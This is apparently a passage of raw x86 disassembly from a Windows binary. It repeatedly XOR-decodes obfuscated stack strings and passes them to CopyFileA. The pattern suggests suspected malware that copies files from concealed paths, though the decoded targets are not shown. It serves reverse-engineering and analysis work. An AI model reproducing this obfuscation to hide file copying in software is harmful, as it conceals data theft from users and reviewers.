mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x8b0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x8b0], xmm1
movaps xmm1, xmmword [ebp - 0x8a0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x8b0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1100]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x8a0], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x19
cmp dword [ecx + 0x14], 0xf
jbe 0x40c951
mov ecx, dword [ecx]
cmp dword [ebp - 0xad0], 0xf
lea eax, [ebp - 0xae4]
push 0
cmova eax, dword [ebp - 0xae4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x1100]
call fcn.00402df0
test esi, esi
je 0x40c98c
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x18], 0xc0edfaf1
mov dword [ebp - 0x14], 0x81a37bbf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x940], eax
mov dword [ebp - 0x93c], ecx
mov dword [ebp - 0x18], 0x3d315a17
mov dword [ebp - 0x14], 0xceaae894
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x938], eax
mov dword [ebp - 0x934], ecx
mov dword [ebp - 0x18], 0xeba25084
mov dword [ebp - 0x14], 0x7af98930
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x930], eax
mov dword [ebp - 0x92c], ecx
mov dword [ebp - 0x18], 0x46aa1087
mov dword [ebp - 0x14], 0xdb9de382
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x928], eax
mov dword [ebp - 0x924], ecx
mov dword [ebp - 0x18], 0xc5489308
mov dword [ebp - 0x14], 0xba92de5b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x920], eax
mov dword [ebp - 0x91c], ecx
mov dword [ebp - 0x18], 0x2d77deaa
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x918], eax
mov dword [ebp - 0x914], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xb624f261
mov dword [ebp - 0x14], 0xd4fbbc75
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x2d77deaa
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x940]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x940], xmm1
movaps xmm1, xmmword [ebp - 0x930]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x930], xmm1
movaps xmm1, xmmword [ebp - 0x920]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x920], xmm1
lea eax, [ebp - 0x940]
push eax
lea ecx, [ebp - 0x1118]
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x18], 0xedd084ec
mov dword [ebp - 0x14], 0xf3814a90
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3c0], ecx
mov dword [ebp - 0x3bc], edx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3c0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3c0]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x3c0], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xacc]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1118]
call fcn.00402df0
cmp dword [ebp - 0xab8], 0xf
lea eax, [ebp - 0xacc]
cmova eax, dword [ebp - 0xacc]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x1d
mov byte [ebp - 4], 0x1c
call fcn.004e4120
add esp, 0x18
test al, al
je 0x40cd95
mov dword [ebp - 0x18], 0xdce1b8f1
lea edx, [ebp - 0xa28]
mov dword [ebp - 0x14], 0x96a87dbf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x890], eax
mov dword [ebp - 0x88c], ecx
mov dword [ebp - 0x18], 0x12286304
mov dword [ebp - 0x14], 0xd2bcd699
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x888], eax
mov dword [ebp - 0x884], ecx
mov dword [ebp - 0x18], 0xf7a25c82
mov dword [ebp - 0x14], 0x77eb8d1b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x880], eax
mov dword [ebp - 0x87c], ecx
mov dword [ebp - 0x18], 0x4aba5dab
mov dword [ebp - 0x14], 0xaff38688
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x874], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x890]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x890], xmm1
movaps xmm1, xmmword [ebp - 0x880]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x890]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1130]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x880], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x1e
cmp dword [ecx + 0x14], 0xf
jbe 0x40cd5a
mov ecx, dword [ecx]
cmp dword [ebp - 0xab8], 0xf
lea eax, [ebp - 0xacc]
push 0
cmova eax, dword [ebp - 0xacc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1130]
call fcn.00402df0
test esi, esi
je 0x40cd95
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x18], 0xc0edfaf1
mov dword [ebp - 0x14], 0x81a37bbf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9d0], eax
mov dword [ebp - 0x9cc], ecx
mov dword [ebp - 0x18], 0x3d315a17
mov dword [ebp - 0x14], 0xceaae894
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9c8], eax
mov dword [ebp - 0x9c4], ecx
mov dword [ebp - 0x18], 0xeba25084
mov dword [ebp - 0x14], 0x74f89430
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x9bc], ecx
mov dword [ebp - 0x18], 0x46b41abe
mov dword [ebp - 0x14], 0xdc99a895
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9b8], eax
mov dword [ebp - 0x9b4], ecx
mov dword [ebp - 0x18], 0xb6249c0e
mov dword [ebp - 0x14], 0xd4fbbc75
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9b0], eax
mov dword [ebp - 0x9ac], ecx
mov dword [ebp - 0x18], 0x2d77deaa
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9a8], eax
mov dword [ebp - 0x9a4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xb624f261
mov dword [ebp - 0x14], 0xd4fbbc75
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x2d77deaa
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x9d0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x9d0], xmm1
movaps xmm1, xmmword [ebp - 0x9c0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x9c0], xmm1
movaps xmm1, xmmword [ebp - 0x9b0]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x9b0], xmm1
lea eax, [ebp - 0x9d0]
push eax
lea ecx, [ebp - 0x1160]
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x18], 0xedd084ec
mov dword [ebp - 0x14], 0xf3814a90
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3d0], ecx
mov dword [ebp - 0x3cc], edx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3d0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3d0]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x3d0], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xab4]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1160]
call fcn.00402df0
cmp dword [ebp - 0xaa0], 0xf
lea eax, [ebp - 0xab4]
cmova eax, dword [ebp - 0xab4]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x22
mov byte [ebp - 4], 0x21
call fcn.004e4120
add esp, 0x18
test al, al
je 0x40d19c
mov dword [ebp - 0x18], 0xdce1b8f1
lea edx, [ebp - 0xa28]
mov dword [ebp - 0x14], 0x96a87dbf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x18], 0x13356304
mov dword [ebp - 0x14], 0xccb6ef97
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x868], eax
mov dword [ebp - 0x864], ecx
mov dword [ebp - 0x18], 0xf3e94b82
mov dword [ebp - 0x14], 0x1be48b1c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x860], eax
mov dword [ebp - 0x85c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x858], eax
mov dword [ebp - 0x854], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x870]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x870], xmm1
movaps xmm1, xmmword [ebp - 0x860]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x870]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1178]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x860], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x23
cmp dword [ecx + 0x14], 0xf
jbe 0x40d163
mov ecx, dword [ecx]
cmp dword [ebp - 0xaa0], 0xf
lea eax, [ebp - 0xab4]
push 0
cmova eax, dword [ebp - 0xab4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1178]
call fcn.00402df0
test esi, esi
je 0x40d19c
mov byte [ebp - 0x31], 1
jmp 0x40d1b1
cmp byte [ebp - 0x32], 0
jne 0x40d1b1
push ecx
lea ecx, [ebp - 0xa28]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xab4]
call fcn.00402df0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xacc]
call fcn.00402df0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xae4]
call fcn.00402df0
mov dword [ebp - 0x18], 0xc8cc80f1
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0x9ba370a4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x18], 0x61454e13
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3d4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3e0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xcd0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x3e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0xcd0]
cmp dword [ebp - 0xcbc], 0xf
push 0
cmova eax, dword [ebp - 0xcd0]
push eax
call edi
test eax, eax
je 0x40d63c
mov dword [ebp - 0x18], 0xc5f4faf1
mov dword [ebp - 0x14], 0x90ae6bb0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd6c], ecx
mov dword [ebp - 0xd70], eax
mov dword [ebp - 0x18], 0x3d37591e
mov dword [ebp - 0x14], 0xfcb3ea95
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd64], ecx
mov dword [ebp - 0xd68], eax
mov dword [ebp - 0x18], 0xfca951aa
mov dword [ebp - 0x14], 0x7deb960c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd5c], ecx
mov dword [ebp - 0xd60], eax
mov dword [ebp - 0x18], 0x42bf2fac
mov dword [ebp - 0x14], 0xdbafe38b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd54], ecx
mov dword [ebp - 0xd58], eax
mov dword [ebp - 0x18], 0xd851930d
mov dword [ebp - 0x14], 0xa69ed416
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd4c], ecx
mov dword [ebp - 0xd50], eax
mov dword [ebp - 0x18], 0x4205aef5
mov dword [ebp - 0x14], 0x6501effa
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd44], ecx
mov dword [ebp - 0xd48], eax
mov dword [ebp - 0x18], 0xfb546d8
mov dword [ebp - 0x14], 0x384fdebc
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd3c], ecx
mov dword [ebp - 0xd40], eax
mov dword [ebp - 0x18], 0x2a733ec
mov dword [ebp - 0x14], 0xcada8fba
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd34], ecx
lea ecx, [ebp - 0xd70]
mov dword [ebp - 0xd38], eax
call fcn.00412710
push eax
lea ecx, [ebp - 0x1190]
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x25
mov dword [ebp - 0x18], 0xedd084ec
mov dword [ebp - 0x14], 0xf3814a90
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3f0], ecx
mov dword [ebp - 0x3ec], edx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3f0]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
lea eax, [ebp - 0x3f0]
push eax
movaps xmmword [ebp - 0x3f0], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xb2c]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x1190]
call fcn.00402df0
cmp dword [ebp - 0xb18], 0xf
lea eax, [ebp - 0xb2c]
cmova eax, dword [ebp - 0xb2c]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x28
mov byte [ebp - 4], 0x27
call fcn.004e4120
add esp, 0x18
test al, al
je 0x40d61e
mov dword [ebp - 0x18], 0xc8eca0f1
lea edx, [ebp - 0xcd0]
mov dword [ebp - 0x14], 0x9ba370a4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x850], eax
mov dword [ebp - 0x84c], ecx
mov dword [ebp - 0x18], 0x111a4e13
mov dword [ebp - 0x14], 0xc9b9e68a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x848], eax
mov dword [ebp - 0x844], ecx
mov dword [ebp - 0x18], 0xb7b45d8b
mov dword [ebp - 0x14], 0x75e59705
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x83c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x838], eax
mov dword [ebp - 0x834], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x850]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x850], xmm1
movaps xmm1, xmmword [ebp - 0x840]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x850]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x11a8]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x840], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x29
cmp dword [ecx + 0x14], 0xf
jbe 0x40d5e5
mov ecx, dword [ecx]
cmp dword [ebp - 0xb18], 0xf
lea eax, [ebp - 0xb2c]
push 0
cmova eax, dword [ebp - 0xb2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x11a8]
call fcn.00402df0
test esi, esi
je 0x40d61e
mov byte [ebp - 0x31], 1
jmp 0x40d62d
push ecx
lea ecx, [ebp - 0xcd0]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xb2c]
call fcn.00402df0
mov dword [ebp - 0x18], 0xc8e592f1
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0x81a576a5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x18], 0x42c5035
mov dword [ebp - 0x14], 0xa0dffd96
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2c0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xce8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x2c0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0xce8]
cmp dword [ebp - 0xcd4], 0xf
push 0
cmova eax, dword [ebp - 0xce8]
push eax
call edi
test eax, eax
je 0x40da1b
mov dword [ebp - 0x18], 0xcce6faf1
mov dword [ebp - 0x14], 0x96a86ab0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x830], eax
mov dword [ebp - 0x82c], ecx
mov dword [ebp - 0x18], 0x2246004
mov dword [ebp - 0x14], 0xceaae69b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x828], eax
mov dword [ebp - 0x824], ecx
mov dword [ebp - 0x18], 0xf3e94b93
mov dword [ebp - 0x14], 0x1be48b1c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x81c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x818], eax
mov dword [ebp - 0x814], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x4c], ecx
